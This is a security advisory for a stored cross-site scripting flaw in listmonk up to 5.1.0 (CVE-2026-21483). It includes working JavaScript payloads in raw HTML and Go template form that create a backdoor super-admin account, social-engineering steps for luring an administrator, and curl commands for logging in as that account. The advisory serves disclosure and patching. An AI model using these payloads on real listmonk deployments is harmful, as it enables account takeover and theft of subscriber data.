CVE-2026-21483: listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover

Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0 Vulnerability Type: CWE-79: Stored Cross-Site Scripting

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Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.

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Required Attacker Permissions

campaigns:manage - Create/edit campaigns campaigns:get - View campaigns lists:getall - Access lists templates:get - Access templates

Note: These are common permissions for content managers who are not full admins.

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Attack Vectors

Vector 1: Raw HTML (Direct Script Tag)

html <script> fetch('/api/users', { method: 'POST', headers: {'Content-Type': 'application/json'}, credentials: 'include', body: '{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"userroleid":1}' }); </script>

Vector 2: Go Template Safe Function

{{ <script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"userroleid":1}'});</script> | Safe }}

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Attack Scenarios

Scenario 1: Campaign Preview Attack

1. Attacker creates campaign with XSS payload 2. Request is made to super admin: "Please review my newsletter draft" 3. Super admin opens campaign and clicks Preview 4. XSS executes → Backdoor admin account created 5. Attacker logs in with backdoor / Hacked123

Scenario 2: Archive Link Attack (No Click Required)

1. Attacker creates campaign with XSS payload 2. Attacker enables Archive for the campaign 3. Attacker shares archive link: http://localhost:9000/archive/{uuid} 4. Super admin visits the link (no preview click needed!) 5. XSS executes automatically → Account takeover

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Proof of Concept

Step 1: Create Malicious Campaign

As lower-privileged user, create campaign with body: html <script> fetch('/api/users', { method: 'POST', headers: {'Content-Type': 'application/json'}, credentials: 'include', body: JSON.stringify({ username: 'backdoor', email: 'backdoor@evil.com', name: 'Backdoor Admin', password: 'Hacked123', type: 'user', status: 'enabled', userRoleId: 1, userroleid: 1 }) }); </script>

Step 2: Enable Archive (Optional - for link-based attack)

1. Edit campaign settings 2. Enable "Archive" 3. Copy archive URL: http://localhost:9000/archive/{campaign-uuid}

Step 3: Trigger Execution

Option A - Preview: - Send campaign to super admin for "review" - Super admin previews → XSS fires

Option B - Archive Link: - Share archive URL with super admin - Super admin visits link → XSS fires automatically

Step 4: Verify Takeover

bash Login as backdoor admin curl -X POST "http://localhost:9000/admin/login" \ -d "username=backdoor&password=Hacked123" \ -c cookies.txt -L

Verify super admin access curl -b cookies.txt "http://localhost:9000/api/users"

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Evidence Screenshots

[Screenshot 1: Lower-privileged user creating malicious campaign] <img width="1892" height="781" alt="Screenshot 2025-12-27 170259" src="https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b" />

[Screenshot 2: Super admin previewing campaign] <img width="1686" height="709" alt="image" src="https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7" />

[Screenshot 3: Backdoor user successfully created] <img width="1370" height="469" alt="Screenshot 2025-12-27 170413" src="https://github.com/user-attachments/assets/18135128-f5af-4023-9aa7-8662a1405ed2" />

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Impact

| Action | Possible via XSS | |--------|-----------------| | Create backdoor admin | ✅ Yes | | Export all subscribers | ✅ Yes | | Modify SMTP settings | ✅ Yes | | Delete all campaigns | ✅ Yes | | Access API keys/secrets | ✅ Yes |

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Affected Components

| Component | XSS Works? | Method | |-----------|-----------|--------| | Campaign body (Raw HTML) | ✅ Yes | Direct <script> tag | | Campaign body (Template) | ✅ Yes | {{ \ \ \| Safe }} | | Template body | ✅ Yes | Both methods | | Campaign archive | ✅ Yes | Automatic execution on visit |

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